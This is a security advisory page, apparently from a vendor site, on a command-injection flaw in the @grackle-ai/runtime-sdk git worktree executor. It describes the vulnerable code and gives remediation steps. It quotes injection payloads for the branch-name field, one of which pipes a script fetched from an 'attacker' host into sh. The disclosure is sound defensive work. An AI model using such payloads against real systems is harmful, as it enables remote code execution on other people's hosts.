GHSA-vv65-f55v-xm6g
GHSA-vv65-f55v-xm6g is a remote code execution vulnerability in @grackle-ai/runtime-sdk. O3 Security confirms whether GHSA-vv65-f55v-xm6g is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@grackle-ai/runtime-sdknpm@grackle-ai/powerlinenpmDescription
Summary
The default git executor used for all worktree operations spawns git through a shell, and the untrusted task branch name flows into the command unsanitized. A caller able to reach the PowerLine SpawnSession RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve arbitrary command execution as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.
This advisory bundles two related defects in worktree.ts (audit findings F1 and F13).
Affected versions
@grackle-ai/runtime-sdk (and reachable via @grackle-ai/powerline) at version 0.132.1 and earlier. All publishable packages are lockstep-versioned.
F1 — Command injection via shell:true (primary, High)
Location: packages/runtime-sdk/src/worktree.ts:22-28 (sink), :135-143 (branch → args). Source: packages/powerline/src/grpc-server.ts:112 (req.branch), packages/runtime-sdk/src/base-session.ts:60,137.
NODE_GIT_EXECUTOR.exec runs:
const shell = process.env.SHELL || true; // worktree.ts:24 — always truthy
const result = await execRaw("git", args, { ...options, shell });
When shell is truthy, Node does not pass args as a safe argv vector — it concatenates git + args into a single string run through sh -c with no escaping. The untrusted branch flows unvalidated from the SpawnSession gRPC request into:
["worktree", "add", "-b", branch, wtPath, startPoint] // worktree.ts:135-137
["worktree", "add", wtPath, branch] // fallback :143
sanitizeBranch() (worktree.ts:50) is applied only to compute the on-disk worktree directory path — not to the -b <branch> argument — so it provides zero protection at the injection sink.
Exploit: set a task branch to x;curl http://attacker/x.sh|sh;# or $(touch /tmp/pwned). ensureWorktree runs it under sh -c, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value evilbranch;touch /tmp/PWNED created the file.)
The sibling git path in runtime-utils.ts:48-56 already uses execFileAsync("git", [...]) with no shell, confirming shell:true is unnecessary here.
F13 — Argument injection: missing -- separator (residual, Low)
Location: packages/runtime-sdk/src/worktree.ts:135-143.
Independent of the shell issue, branch is placed as a positional argument with no -- terminator. The sibling checkoutBranch (runtime-utils.ts:51) correctly uses ["checkout", "--", branch]. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; git worktree add exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1.
Remediation
- Remove
shellfromNODE_GIT_EXECUTOR—execFile('git', args)with the argv array is already safe and is the pattern used inruntime-utils.ts. This is the primary fix. - Add a
--separator before positional refs/paths in bothworktree addinvocations. - Defense in depth: validate
branchat the gRPC boundary (grpc-server.ts) against git ref rules — reject names beginning with-, containing.., or containing shell metacharacters — before it reachesensureWorktree.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @grackle-ai/runtime-sdk | all versions | No fix |
| 📦npm | @grackle-ai/powerline | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @grackle-ai/runtime-sdk. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of @grackle-ai/runtime-sdk has shipped for GHSA-vv65-f55v-xm6g yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vv65-f55v-xm6g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vv65-f55v-xm6g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vv65-f55v-xm6g in your dependencies?
O3 detects GHSA-vv65-f55v-xm6g across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.